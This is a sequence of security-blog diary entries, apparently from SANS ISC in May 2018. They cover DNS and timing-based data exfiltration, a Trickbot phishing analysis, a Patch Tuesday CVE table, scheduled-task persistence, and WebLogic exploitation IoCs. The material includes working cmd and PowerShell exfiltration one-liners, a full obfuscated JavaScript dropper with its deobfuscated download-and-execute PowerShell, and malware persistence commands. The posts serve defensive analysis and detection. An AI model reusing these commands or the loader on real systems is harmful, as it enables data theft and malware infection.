  6. We append the domain we control into variable called FINAL. You can see that in order to reference variable MYVAR we use !MYVAR! (and not %MYVAR%). This way we make sure that it is expanded during execution.
  7. Finally we perform nslookup on the final name, the executed command will be as follows:
    nslookup U0FOUyANCg==.infigo.hr

    Keep in mind that we need to be careful about size here – the label should not be longer than 64 characters – if we are exfiltrating something longer, we need to cut data properly (this is left as an exercise to improve your command prompt kung-fu).
     
  8. Let’s check our BIND logs:
    08-May-2018 22:35:39.344 queries: info: client 213.147.96.3#44662 (U0FOUyANCg==.infigo.hr): view external: query: U0FOUyANCg==.infigo.hr IN A -EDC (10.0.2.4)

Nice! There’s our exfiltration – we just need to take the Base64 encoded string, decode it and we get the contents:

$ echo U0FOUyANCg== | base64 -d
SANS

Now, let’s make this a bit more difficult. The server from the beginning of the story was completely isolated. No outgoing traffic was allowed, no DNS queries were allowed. The only way to talk to the server was through HTTPS.
One solution I came up with is to verify if a file exists, and then sleep for certain amount of seconds. This way we could extract one character at a time, identify it and move to the next one.

Here is our first step:

> cmd /v /c "hostname > temp && set /p MYVAR=<temp && set FINAL=!MYVAR:~0,1! && echo . > !FINAL!"

You can probably figure out what this command does: it will populate the MYVAR variable with the hostname and then extract first character into the variable FINAL. Finally (pun intended), it will create a file with the name as in the FINAL variable – in the example above it will be a file called S (from SANS).

Now, in the second request, we check if this file exist (actually we would cycle through all file names), and sleep for couple of seconds with the ping command if it does:

> cmd /v /c "if EXIST S ping 127.0.0.1"

On Windows, the ping command will send 4 packets, so this will take 4 seconds. We now know the first character! Rinse and repeat: change the highlighted character from A-Z to enumerate all possible characters. Finally, we can delete the created file and extract the second character with the following command:

> cmd /v /c "hostname > temp && set /p MYVAR=<temp && set FINAL=!MYVAR:~1,1! && echo . > !FINAL!"

And so on – game over.

This was an example of a bit extreme setup, but found in a real test nevertheless. Of course, if PowerShell or similar scripting language was available, extraction would be even easier, but the goal here was that even in such very isolated and restricted environments, it is still possible to exfiltrate data.

Here’s one very simple example that I think is cute:

> powershell -c "Start-Sleep -Seconds ([byte][char]$env:COMPUTERNAME.ToUpper().Substring(0,1) % 65)"

This will take the first character of the computer name, convert it to upper case, get its ASCII value, divide modulo 65 and use the result as the number of seconds for sleep. So, the command will sleep between 0 and 25 seconds (ASCII 65 to 90 – characters A to Z). Of course, this can be further improved.

Is there anything blue team could do here? Proper monitoring would include process creation – usage of certutil.exe or simply cmd.exe or powershell.exe being spawned by a process that is not explorer.exe should raise a red flag here!

Do you have other exfiltration tricks? Let us know!

PS: I'll be teaching SEC542 at various events in Europe starting from July - let me know if you will be there.

--
Bojan
@bojanz
INFIGO IS

0 Comments

Published: 2018-05-09

Nice Phishing Sample Delivering Trickbot

Users have to deal with phishing for a very long time. Today, most of them remain dumb messages quickly redacted with a simple attached file and a message like “Click on me, it’s urgent!”. Yesterday, I put my hands on a very nice sample that deserve to be dissected to demonstrate that phishing campaigns remain an excellent way to infect a computer! In the following scenario, nobody was hurt and the targeted user took the right action to report it to the security team.

Let’s review the classic initial email:

When the victim clicks on the link, this initial screen is displaying mimicking a PDF file. Note that the password in the mail body is not used.

The different links do not work and only empty pages are displayed from the fake PDF. What will most of the users do in this situation? They scroll down! This event can be intercepted by JavaScript:

window.onscroll = function (e) {  
  // called the malicious code.  
} 

When the victim starts scrolling, the following popup is displayed:

The user is asked to install an Adobe PDF plugin update disguised as a Windows JavaScript: ‘Adobe-PDF-Install.js’.

Here is a dump of the script:
(Note: the code has been beautified for easier reading)

new Function(['var jingrang = new ActiveXObject("Scripting.FileSystemO', "blitzden", "MakcRulit586", "bearchuck", "swaybang"][0] +["foxlinux", "AVEVARUM", 'bject");
var zitebrok = jingrang.GetSpecialFolder(2)+"\\\\\\\\ogc'][2] + ['igr.txt";
var picture137 = jingrang.CreateTextFile(zitebrok, true);
picture137.', "ANIKVOBOL", "welcomes", "multicast"][0] + ['WriteLine("dogstever");picture137.Close();
var tuesaint ', "ANILAZARO", "capchaos", "ilivhsaivhcazd"][0] + ["houndchi", "SoulxGreatx", '= jingrang.GetFileVersion(zitebrok);
if(typeof tuesaint == "string"', "labareda"][2] + ["vorezeak", ') {
  String.prototype.cultrulf = function () {
    var oscargator = []', "nguyen008"][1] + ["doctelecom", ';
    for (var i = 0; i < arguments.length; i++) {
      oscargator.p', "gryunaca"][1] + ['ush(arguments[i]);
    }
    return eval("String.fromCharCod', "banditcat", "taylor1970", "brabwhee"][0] + iiksniglO() + String.fromCharCode(Math.floor(Math.random() + 110)) + ['(",")+")");
  }
};', "fledcinc", "cooledge"][0])();

function iiksniglO(){
  return ("disintegrator", "pematric", "coupdrat", "sevenisis", 'e("+oscargator.joi'.banga123()) + clumblis() + 'oi';
}

function clumblis() {
  var objWMIService = GetObject("winmgmts:"); var o = "";
  try {
    var objLD = objWMIService.Get("Win32_LogicalDisk.DeviceID='y1:'"); o = "1";
  }
  catch (e) {
    o = '("+oscargator.j';} return o;
  }
  function String.prototype.banga123(){
    return this.split('').reverse().pop();
  }
  new Function("".cultrulf(118, 97, 114, 32, 102, 115, 111, 32, 61, 32, 110, 101, 119, 32) + ''.cultrulf(65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99, 116, 40) +
 "".cultrulf(34, 83, 99, 114, 105, 112, 116, 105, 110, 103, 46, 70, 105, 108) + "".cultrulf(101, 83, 121, 115, 116, 101, 109, 79, 98, 106, 101, 99, 116, 34) + ''.cultrulf(41, 59, 118, 97, 114, 32, 116, 101, 109, 112, 32, 61, 32, 102) + "".cultrulf(115, 111, 46, 71, 101, 116, 83, 112, 101, 99, 105, 97, 108, 70) + ''.cultrulf(111, 108, 100, 101, 114, 40, 50, 41, 59, 118, 97, 114, 32, 115) + ''.cultrulf(99, 114, 105, 112, 116, 32, 61, 32, 34, 80, 111, 119, 101, 114) + "".cultrulf(83, 104, 101, 108, 108, 32, 92, 34, 102, 117, 110, 99, 116, 105) + ''.cultrulf(111, 110, 32, 69, 98, 102, 117, 56, 40, 91, 83, 116, 114, 105) + ''.cultrulf(110, 103, 93, 32, 36, 109, 99, 117, 100, 118, 108, 115, 108, 97) + "".cultrulf(41, 123, 40, 78, 101, 119, 45, 79, 98, 106, 101, 99, 116, 32) + ''.cultrulf(83, 121, 115, 116, 101, 109, 46, 78, 101, 116, 46, 87, 101, 98) + ''.cultrulf(67, 108, 105, 101, 110, 116, 41, 46, 68, 111, 119, 110, 108, 111) + "".cultrulf(97, 100, 70, 105, 108, 101, 40, 36, 109, 99, 117, 100, 118, 108) + ''.cultrulf(115, 108, 97, 44, 39, 34, 32, 43, 32, 116, 101, 109, 112, 32) + "".cultrulf(43, 32, 34, 92, 92, 110, 111, 113, 110, 119, 117, 116, 106, 46) + "".cultrulf(101, 120, 101, 39, 41, 59, 83, 116, 97, 114, 116, 45, 80, 114) + "".cultrulf(111, 99, 101, 115, 115, 32, 39, 34, 32, 43, 32, 116, 101, 109) + ''.cultrulf(112, 32, 43, 32, 34, 92, 92, 110, 111, 113, 110, 119, 117, 116) + "".cultrulf(106, 46, 101, 120, 101, 39, 59, 125, 116, 114, 121, 123, 69, 98) + "".cultrulf(102, 117, 56, 40, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111) + ''.cultrulf(105, 110, 105, 99, 111, 115, 46, 105, 111, 47, 105, 109, 97, 103) + ''.cultrulf(101, 115, 47, 108, 111, 103, 111, 46, 98, 105, 110, 39, 41, 125) + ''.cultrulf(99, 97, 116, 99, 104, 123, 69, 98, 102, 117, 56, 40, 39, 104) + "".cultrulf(116, 116, 112, 58, 47, 47, 99, 111, 105, 110, 105, 99, 111, 115) + "".cultrulf(46, 105, 111, 47, 105, 109, 97, 103, 101, 115, 47, 108, 111, 103) + ''.cultrulf(111, 46, 98, 105, 110, 39, 41, 125, 34, 59, 118, 97, 114, 32) + ''.cultrulf(110, 97, 109, 101, 66, 97, 116, 32, 61, 32, 34, 115, 100, 106) + ''.cultrulf(107, 102, 104, 34, 59, 118, 97, 114, 32, 112, 97, 116, 104, 66) + "".cultrulf(97, 116, 32, 61, 32, 116, 101, 109, 112, 32, 43, 32, 34, 92) + "".cultrulf(92, 34, 32, 43, 32, 110, 97, 109, 101, 66, 97, 116, 32, 43) + ''.cultrulf(32, 34, 46, 98, 97, 116, 34, 59, 118, 97, 114, 32, 111, 117) + "".cultrulf(116, 70, 105, 108, 101, 32, 61, 32, 102, 115, 111, 46, 67, 114) + ''.cultrulf(101, 97, 116, 101, 84, 101, 120, 116, 70, 105, 108, 101, 40, 112) + "".cultrulf(97, 116, 104, 66, 97, 116, 44, 32, 116, 114, 117, 101, 41, 59) + ''.cultrulf(111, 117, 116, 70, 105, 108, 101, 46, 87, 114, 105, 116, 101, 76) + ''.cultrulf(105, 110, 101, 40, 115, 99, 114, 105, 112, 116, 41, 59, 111, 117) + ''.cultrulf(116, 70, 105, 108, 101, 46, 67, 108, 111, 115, 101, 40, 41, 59) + "".cultrulf(118, 97, 114, 32, 115, 104, 101, 108, 108, 32, 61, 32, 110, 101) + "".cultrulf(119, 32, 65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99) + ''.cultrulf(116, 40, 34, 87, 83, 99, 114, 105, 112, 116, 46, 83, 104, 101) + ''.cultrulf(108, 108, 34, 41, 59, 115, 104, 101, 108, 108, 46, 114, 117, 110) + ''.cultrulf(40, 112, 97, 116, 104, 66, 97, 116, 44, 32, 48, 41, 59, 102) + ''.cultrulf(115, 111, 46, 68, 101, 108, 101, 116, 101, 70, 105, 108, 101, 40) + "".cultrulf(87, 83, 72, 46, 83, 99, 114, 105, 112, 116, 70, 117, 108, 108) + ''.cultrulf(78, 97, 109, 101, 41, 59))();

Once the garbage code removed and some deobfuscation, you get some PowerShell code: (also beautified)

var fso = new ActiveXObject("Scripting.FileSystemObject”);
var temp = fso.GetSpecialFolder(2);
var script = “
PowerShell \"function Ebfu8([String] $mcudvlsla) {
  (New-Object System.Net.WebClient).DownloadFile($mcudvlsla,'" + temp + "\\noqnwutj.exe’);Start-Process '" + temp + "\\noqnwutj.exe’;}
  try{Ebfu8('http://coinicos.io/images/logo.bin’)}
catch{Ebfu8('http://coinicos.io/images/logo.bin')}";var nameBat = "sdjkfh";var pathBt = temp + "\\" + nameBat + ".bat";var outFile = fso.CreateTextFile(pathBat, true);outFile.WriteLine(script);outFile.Close();var shell = new ActiveXObject("WScript.Shell");shell.run(pathBat, 0);fso.DeleteFile(WSH.ScriptFullName);

It creates the following batch file in %TEMP%:

PowerShell "function Ebfu8([String] $mcudvlsla){(New-Object System.Net.WebClient).DownloadFile($mcudvlsla,'C:\DOCUME~1\Xavier\LOCALS~1\Temp\noqnwutj.exe');Start-Process 'C:\DOCUME~1\Xavier\LOCALS~1\Temp\noqnwutj.exe';}try{Ebfu8('http://coinicos.io/images/logo.bin')}catch{Ebfu8('http://coinicos.io/images/logo.bin’)}

And executes it via a CMD.exe:

cmd /c ""C:\DOCUME~1\Xavier\LOCALS~1\Temp\sdjkfh.bat" "

The compromised website ("coinicos.io") may think about a new crypto miner attack but it's not the case. The site is just used to deliver the payload. It is downloaded and executed by PowerShell. Its current VT score is 19/66 [1]. The PE file copies itself in %APPDATA%\Roaming\wsxmail\lloydt.exe and creates a scheduled task called “MsTools" for persistence (see my last diary[2]). This is a classic Trickbot[3]. To resume we have the following infection path:

Email > JavaScript > PowerShell > Batch file > Scheduled task

[1] https://www.virustotal.com/en/file/aff5fa4ec4cd78bcf5f1c712f361bbd7d428800bea08c23cae66f0947e66c2a3/analysis/1525780303/
[2] https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/
[3] https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

6 Comments

Published: 2018-05-08

Microsoft May 2018 Patch Tuesday

Microsoft patched to vulnerabilities that have already been exploited in the wild:

%%cve:2018-8174%%, a remote code execution vulnerability in the VBScript Engine.

%%cve:2018-8120%%, a privilege escalation vulnerability in Win32k..

%%cve:2018-8170%%. another privilege escalation vulnerabilty patched this month was known publicly, but has not been detected in exploits so far.

In addtion, %%CVE:2018-8115%%, which was already patched last week, is included in this months patch round-up.

 

 

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework Device Guard Security Feature Bypass Vulnerability
%%cve:2018-1039%% No No Less Likely Less Likely Important    
.NET and .NET Core Denial of Service Vulnerability
%%cve:2018-0765%% No No Unlikely Unlikely Important    
Azure IoT SDK Spoofing Vulnerability
%%cve:2018-8119%% No No - - Important    
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8130%% No No - - Critical 4.2 3.8
%%cve:2018-8133%% No No - - Critical 4.2 3.8
%%cve:2018-8145%% No No Unlikely Unlikely Important 2.4 2.2
%%cve:2018-8177%% No No - - Critical 4.2 3.8
%%cve:2018-0943%% No No - - Critical 4.2 3.8
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2018-8165%% No No More Likely More Likely Important 7.0 6.3
Hyper-V Remote Code Execution Vulnerability
%%cve:2018-0959%% No No Less Likely Less Likely Critical 7.6 6.8
Hyper-V vSMB Remote Code Execution Vulnerability
%%cve:2018-0961%% No No Less Likely Less Likely Critical 7.6 6.8
Internet Explorer Security Feature Bypass Vulnerability
%%cve:2018-8126%% No No Less Likely Less Likely Important 5.3 4.8
May 2018 Adobe Flash Security Update
ADV180008 No No - - Critical    
Microsoft Browser Information Disclosure Vulnerability
%%cve:2018-1025%% No No More Likely More Likely Important 4.3 3.9
Microsoft Browser Memory Corruption Vulnerability
%%cve:2018-8178%% No No More Likely More Likely Critical 6.4 5.8
Microsoft COM for Windows Remote Code Execution Vulnerability
%%cve:2018-0824%% No No Less Likely Less Likely Important 7.5 6.7
Microsoft Edge Information Disclosure Vulnerability
%%cve:2018-1021%% No No - - Important 4.3 3.9
Microsoft Edge Memory Corruption Vulnerability
%%cve:2018-8123%% No No - - Important 4.2 3.8
%%cve:2018-8179%% No No - - Important 4.2 3.8
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2018-8112%% No No - - Important 4.3 3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2018-8163%% No No More Likely More Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2018-8162%% No No More Likely More Likely Important    
%%cve:2018-8147%% No No More Likely More Likely Important    
%%cve:2018-8148%% No No More Likely More Likely Important    
Microsoft Exchange Elevation of Privilege Vulnerability
%%cve:2018-8159%% No No Less Likely Less Likely Important    
Microsoft Exchange Memory Corruption Vulnerability
%%cve:2018-8151%% No No Less Likely Less Likely Important    
%%cve:2018-8154%% No No Less Likely Less Likely Critical    
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2018-8152%% No No Less Likely Less Likely Important    
Microsoft Exchange Spoofing Vulnerability
%%cve:2018-8153%% No No Less Likely Less Likely Low    
Microsoft InfoPath Remote Code Execution Vulnerability
%%cve:2018-8173%% No No - - Important    
Microsoft Office Remote Code Execution Vulnerability
%%cve:2018-8161%% No No Less Likely Less Likely Important    
%%cve:2018-8157%% No No More Likely More Likely Important    
%%cve:2018-8158%% No No More Likely More Likely Important    
Microsoft Outlook Information Disclosure Vulnerability
%%cve:2018-8160%% No No - - Important    
Microsoft Outlook Security Feature Bypass Vulnerability
%%cve:2018-8150%% No No - - Important    
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2018-8155%% No No Less Likely Less Likely Important    
%%cve:2018-8156%% No No Less Likely Less Likely Important    
%%cve:2018-8168%% No No - - Important    
%%cve:2018-8149%% No No Less Likely Less Likely Important    
Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8122%% No No More Likely More Likely Critical 6.4 5.8
%%cve:2018-8128%% No No - - Critical 4.2 3.8
%%cve:2018-8137%% No No - - Critical 4.2 3.8
%%cve:2018-8139%% No No - - Critical 4.2 3.8
%%cve:2018-0945%% No No - - Critical 4.2 3.8
%%cve:2018-0946%% No No - - Critical 4.2 3.8
%%cve:2018-0951%% No No - - Critical 4.2 3.8
%%cve:2018-0953%% No No - - Critical 4.2 3.8
%%cve:2018-0954%% No No More Likely More Likely Critical 4.2 3.8
%%cve:2018-0955%% No No More Likely More Likely Critical 6.4 5.8
%%cve:2018-1022%% No No More Likely More Likely Critical 6.4 5.8
%%cve:2018-8114%% No No More Likely More Likely Critical 6.4 5.8
Win32k Elevation of Privilege Vulnerability
%%cve:2018-8124%% No No More Likely More Likely Important 7.0 6.3
%%cve:2018-8164%% No No More Likely More Likely Important 7.0 6.3
%%cve:2018-8166%% No No More Likely More Likely Important 7.0 6.3
%%cve:2018-8120%% No Yes - - Important 7.0 6.3
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2018-8167%% No No More Likely More Likely Important 7.0 6.7
Windows Elevation of Privilege Vulnerability
%%cve:2018-8134%% No No More Likely More Likely Important 7.0 6.3
Windows Host Compute Service Shim Remote Code Execution Vulnerability
%%cve:2018-8115%% No No Unlikely Unlikely Critical    
Windows Image Elevation of Privilege Vulnerability
%%cve:2018-8170%% Yes No More Likely More Likely Important 7.0 6.3
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2018-8897%% No No Unlikely Unlikely Important 7.0 6.3
Windows Kernel Information Disclosure Vulnerability
%%cve:2018-8127%% No No More Likely More Likely Important 4.7 4.2
%%cve:2018-8141%% Yes No - - Important 4.7 4.2
Windows Remote Code Execution Vulnerability
%%cve:2018-8136%% No No Less Likely Less Likely Low 6.5 5.9
Windows Security Feature Bypass Vulnerability
%%cve:2018-0854%% No No Unlikely Unlikely Important 2.4 2.2
%%cve:2018-0958%% No No Less Likely Less Likely Important 5.3 4.8
%%cve:2018-8129%% No No Less Likely Less Likely Important 5.3 4.8
%%cve:2018-8132%% No No Less Likely Less Likely Important 5.3 4.8
Windows VBScript Engine Remote Code Execution Vulnerability
%%cve:2018-8174%% No Yes Detected Detected Critical 7.5 7.0

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

1 Comments

Published: 2018-05-07

Adding Persistence Via Scheduled Tasks

Once a computer has been infected by a malware, one of the next steps to perform is to keep persistence. Usually, endpoints (workstations) are primary infection vectors due to the use made of it by people: they browse the Internet, they read emails, they open files. But workstations have a major limitation: They are rebooted often (by policy - people must turn off their computer when not at the office or by maintenance tasks like patches installation). That’s why persistence if a key required to ensure that when the computer is rebooted, the malware will still be active and be able to phone home to its C2 server.

I found a malware sample that uses a simple Microsoft .job files to implement persistence. A Job file[1] is a special XML file that contains all the details to configure a scheduled task on a Microsoft Windows host. More technical details about this file format can be found here[2]. When you execute a malware in a sandbox and a scheduled task is created, a .job file will be dropped and captured by the sandbox. Parsing files manually is boring/ time-consuming, so it’s always good to have a toolbox ready to perform this kind of tasks. Jamie Levy wrote a quick Python script to parse job files[3]. Here is the output of the malicious job file created by the sample I found:

$ python jobparser.py -f /tmp/malicious_belgningsstuens.job
Product Info: Windows XP
File Version: 1
UUID: {EAC916B6-B7FF-430B-B6DD-9676523133D}
Priorities: NORMAL_PRIORITY_CLASS
Maximum Run Time: 72:00:00.0 (HH:MM:SS.MS)
Exit Code: 0
Status: Task is ready to run
Flags: TASK_APPLICATION_NAME, TASK_FLAG_DELETE_WHEN_DONE
Date Run: Wednesday May 2 14:37:33.588 2018
Running Instances: 0
Application: reg
Parameters: add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "Belgningsstuens" /f /t REG_SZ /d "C:\Documents and Settings\John\Application Data\kinglike.exe
Working Directory: reg
User: John
Comment: Comment not set
Scheduled Date: May 2 22:37:1440.0 2018

The .job file is created C:\Windows\tasks, the standard location of scheduled jobs. Thes corresponding command follows:

"C:\WINDOWS\system32\SchTasks.exe" /Create /SC HOURLY /MO 12 /TN "Belgningsstuens" \
     /TR "reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
     /v "\""Belgningsstuens"\"" /f /t REG_SZ /d "\""C:\Documents and Settings\John\Application Data\kinglike.exe" \
     /RU SYSTEM

Basically, the malware drops a PE file %APPDATA%\kinglike.exe (SHA256:eb62ceaf85055120714d9b82b8da39e7d08a95ebb1763b03009511532c40c7d3) and schedules a unique task (see the flag “TASK_FLAG_DELETE_WHEN_DONE”) that will make it start again at the next boot (registry key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run”).

In the example above, the scheduled task is configured to run with ‘system’ privileges (“/RU SYSTEM”) but any user can create scheduled tasks. An authenticated user has rights to create scheduled tasks and to write into the C:\Windows\Tasks directory as shows the SetACL[4] tool:

c:\Windows\System32\Tasks\

   Owner: Administrators

   DACL(protected+auto_inherited):
   Administrators        full   allow   container_inherit
   Administrators        write+read+WRITE_OWNER+WRITE_DAC+DELETE   allow   object_inherit
   SYSTEM                full   allow   container_inherit
   SYSTEM                write+read+WRITE_OWNER+WRITE_DAC+DELETE   allow   object_inherit
   Authenticated Users   read   allow   container_inherit+object_inherit
   LOCAL SERVICE         read   allow   container_inherit+object_inherit
   NETWORK SERVICE       read   allow   container_inherit+object_inherit
   CREATOR OWNER         full   allow   container_inherit+object_inherit+inherit_only

The PE file kinglike.exe has a score of 17/65 on VT[5] but the initial one (timedlll.exe - SHA256:e0143cf54d109163f0f807816907b3e375170dd9ce576164a519efba66983459) is still unknown. For the story, it’s a Netwire RAT[6] communicating to the following C2: %%ip:185.145.45.41%% on port 3386

I started to have a look at job files posted on VirusTotal and there are plenty of them[7][8][9]. This is something that you definitively must keep an eye on!

[1] https://msdn.microsoft.com/en-us/library/cc213708.aspx
[2] https://www.forensicswiki.org/wiki/Windows_Job_File_Format
[3] https://raw.githubusercontent.com/gleeda/misc-scripts/master/misc_python/jobparser.py
[4] https://helgeklein.com/setacl/
[5] https://www.virustotal.com/en/file/eb62ceaf85055120714d9b82b8da39e7d08a95ebb1763b03009511532c40c7d3/analysis/
[6] https://www.cyber.nj.gov/threat-profiles/trojan-variants/netwire-rat
[7] https://www.virustotal.com/intelligence/search/?query=5b1e035f26cdbdd8cc76f467ed01e1ab1c645a7b78a61e97c6a7a1d9ec3c50a3
[8] https://www.virustotal.com/intelligence/search/?query=7999faa03e5870ea476e6bc84fdfd4098708af33c69123d7afd94aeffb3c278c
[9] https://www.virustotal.com/intelligence/search/?query=58060ef5d247932b3952f92024707b625fe2fc97bdbe8f032a38a4229efd7e33

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

3 Comments

Published: 2018-05-06

Scans Attempting to use PowerShell to Download PHP Script

A few days ago I started seeing in my honeypot traffic attempting to use PowerShell to download a php script as a test. The script might look like this.

Using Cyberchef, I decoder the base64 URL but the php script was no longer available.

Have you seen a similar query in your logs? We would be interested in getting a copy of the php script.You can use our contact page to submit a copy.

[1] https://isc.sans.edu/forums/diary/CyberChef+a+Must+Have+Tool+in+your+Tool+bag/22458/

[2] https://isc.sans.edu/forums/diary/WebLogic+Exploited+in+the+Wild+Again/23617/

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

4 Comments

Published: 2018-05-04

Vulnerabilities on the Rise?

Lately, stories of stolen data, compromised systems, and vulnerabilities that send us scrambling to patch, headline the news.  It seems that we have been taking two steps forward and one step back when it comes to fighting the battle to protect our systems and networks.  Exactly how bad is it and what does the future hold?  I am a big fan of metrics, so I did some digging on the data that exists and what it can tell us.  I started with looking at CVEs and what that trend looks like over time.  I used the CVE data from a site I like called cvedetails.com.  All data here comes from the National Vulnerability Database (NVD).  How bad has it become and what is the focus of the bad guys?  Here is a chart I made of all the CVEs since 1999:

As you can see, there has been a steady increase in vulnerabilities discovered over the years. In 2017, it seems there was a large rise in several of the categories.  It's not surprising that the areas of interest are DoS, Code Execution and buffer overflows.  Categories of Gain Information and Cross Site Scripting (XSS) were also areas with an uptick in 2017.

What does that mean for those of us focused on defending the networks?  Well, if you're a pessimist, you probably should unplug your network and hide.  I believe we see more CVEs because every year there are more cyber-savvy people that understand computers and networking.  They know how to find the vulnerabilities and its become lucrative for them.  I'd like to think responsible disclosure drove most of these, but sadly these vulnerabilities could have been used against us before they were found and reported.   I could not find a way to determine how many of them had exploits in the wild when they were released.  If you know of a way to pull this data (without manually going through each of them), please let us know.

So what does the future hold for 2018?  Its hard to say at this point, but here is some interesting data.  This chart with just the CVEs so far for 2018:

Looking at code execution, we are just starting May and already we are almost half way to what we saw in 2017 for vulnerabilities that have been found and disclosed!  Keep in mind, there is no way to estimate those out there that have not been made public or are currently in use.  Are the CVEs representative of the tip of the iceberg or do they represent the vast majority of the vulnerabilities discovered?  Regardless, it becomes increasingly obvious, by the number of growing vulnerabilities found and disclosed each year, that you cannot slack off when it comes to monitoring your infrastructure.  With the increase in technology running everything, the complexity of today's networks and systems, and the rise of a generation that has only known a world run by technology, the attack surface and the knowledge to exploit it will present unprecedented challenges to those charged with defending!

1 Comments

Published: 2018-05-03

WebLogic Exploited in the Wild (Again)

On April 17, 2018, Oracle patched yet another deserialization and remote execution vulnerability (CVE-2018-2628) in WebLogic. The day after, technical aspects of the vulnerability were explained in a Chinese blog post by Xinxi [1]. By the next day, April 19, a proof of concept exploit was released on GitHub by Brianwrf [2]. And, to finalize this part of the history, beginning on April 19, we noticed a scan spike on the WebLogic’s T3 potential vulnerable service (TCP/7001).

Figure 1 – Port TCP/7001 scan activity

 

Now, let’s add some more to this. While analyzing an attack suffered by one of our honeypots and the data we could gather from the ongoing campaign, we found that the first victim was compromised on April 18, 19:36 (UTC-0) – just a few hours after the patch release. This was the first of 447 (and counting). If you think we are talking about another cryptojacking campaign, you guessed it right. Let’s see some details.

Detailed Analysis

Approximately 3 hours after our CVE-2018-2628 vulnerable Web Logic honeypot went live yesterday, it was first targeted by a host from China (IP 94.155.41.82) using an exploit based on Brianwrf’s [2]. They tried to run a Windows payload downloaded from the IP address 117.79.132.174, port 443, as seen in Figure 2.

Figure 2 – First stage payload

The retrieved payload is a PowerShell script, which downloads another part of the malware, as seen in Figure 3.

Figure 3 – Second stage payload

 

The second stage payload is another script which establishes the persistence then downloads and runs a Monero Miner and Neutrino.

Figure 4 – Downloading the Miner and Neutrino

In the following screenshot (Figure 5), we have the miner handshake, from which we can extract the wallet address and get some insights on the campaign gains and activity.

Figure 5 – Cryptominer handshake

In Figure 6, we have the hash rate associated with this campaign’s wallet address. It started growing exactly the same time the first WebLogic victims were made – based on the campaign log with all the victims.

Figure 7 – Campaign’s victims

The Neutrino component has the ability to scan for new victims and to execute the same WebLogic exploit and a variety of other exploit attempts against systems such as Struts and PHP.  Neutrino also performs brute-force attacks.

Figure 8 – Some of Neutrino capabilities

Final words

It seems that the time window between vulnerability disclosure and opportunistic exploitation is shrinking more and more. From this episode, we can learn that, those who don’t have time to patch fast, will have to find much more time to recover properly from the coming incidents.

What makes things worse in this case is that even those who patched their systems on time are potentially exposed. As already mentioned in the ISC Podcast [3] and by Bleeping Computer [4], the CVE-2018-2628 vulnerability wasn’t fixed on its core but using command blocklisting to avoid exploitation. I particularly didn’t see any new version of the exploit capable of bypass the protections, but until we have a new patch, it is recommended to restrict the access to TCP/7001 port on WebLogic installations as much as possible.

Indicators of Compromise (IoCs)

Network

94.155.41.82
117.79.132.174
hxxp://111.230.229.226/images/test/DL.php
hxxp://122.114.242.68/images/def/DL.ps1
hxxp://122.114.242.68/images/test/x64_VMP.exe
hxxp://122.114.242.68/images/test/x86_VMP.exe
hxxp://122.114.242.68/images/test/WMI.ps1

Files

8f0453be904d16427ca3c6c779f114dd49da14a644a7f394d6ffd4cc6b7c108b  x86.exe
0f3b140c12e726c8898b97ba01bc5b8d2c43516b4f431b026864ac38d334e7d3  x64.exe
9b3a96a095f35e29a64f0f9c74b449a4a66a33d1155edcacb20507124c3da70b  neutrino.exe

Mutex

Global\20180419

References:

[1] http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
[2] https://github.com/brianwrf/CVE-2018-2628
[3] https://isc.sans.edu/podcastdetail.html?id=5977
[4] https://www.bleepingcomputer.com/news/security/hackers-scan-the-web-for-vulnerable-weblogic-servers-after-oracle-botches-patch/

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

0 Comments

Published: 2018-05-02

Windows Commands Reference - An InfoSec Must Have

A PDF containing an overview and alphabetical listing of Windows commands

Use this PDF to find the documentation resources and other technical information that you need to learn about the command shell, and to automate command-line tasks by using scripts or scripting tools.

This is 948 pages of Windows raw command-line power, for blue and red teams, for sysadmins and users; if you use Windows, this is an imperative download and a must-have reference guide. I am reasonably certain even the most knowledgeable among you will find a command or two you weren't aware of. 

Examples:

cmstp Installs or removes a Connection Manager service profile. Used without optional parameters, cmstp installs a
service profile with default settings appropriate to the operating system and to the user's permissions.

scwcmd The Scwcmd.exe command-line tool included with the Security Configuration Wizard (SCW) can be used to
perform the following tasks:

  • Configure one or many servers with an SCW-generated policy.
  • Analyze one or many servers with an SCW-generated policy.
  • View analysis results in HTML format.
  • Roll back SCW policies.
  • Transform an SCW-generated policy into native files that are supported by Group Policy.
  • Register a Security Configuration Database extension with SCW.

You will find this PDF useful and easy to navigate, may I humbly suggest you download and incorporate it into your reference library.

https://www.microsoft.com/en-us/download/details.aspx?id=56846

This will go nicely with your SANS Poster - White Board of Awesome Command Line Kung Fu :-)

Cheers! Russ McRee | @holisticinfosec 

5 Comments

Published: 2018-05-01

Diving into a Simple Maldoc Generator

The number of malicious documents generated every day keeps growing for a while. To produce this huge amount of files, the process must be automated. I found on Pastebin a Python script to generate malicious Office documents. Let’s have a look at it.

(Note: The payload has been removed to prevent the script to be used “as is” by script kiddies)

import binascii
import sys
import time

print "Microsoft Office 2010, download -N- execute "
print " What do you want to name your  .doc ? "
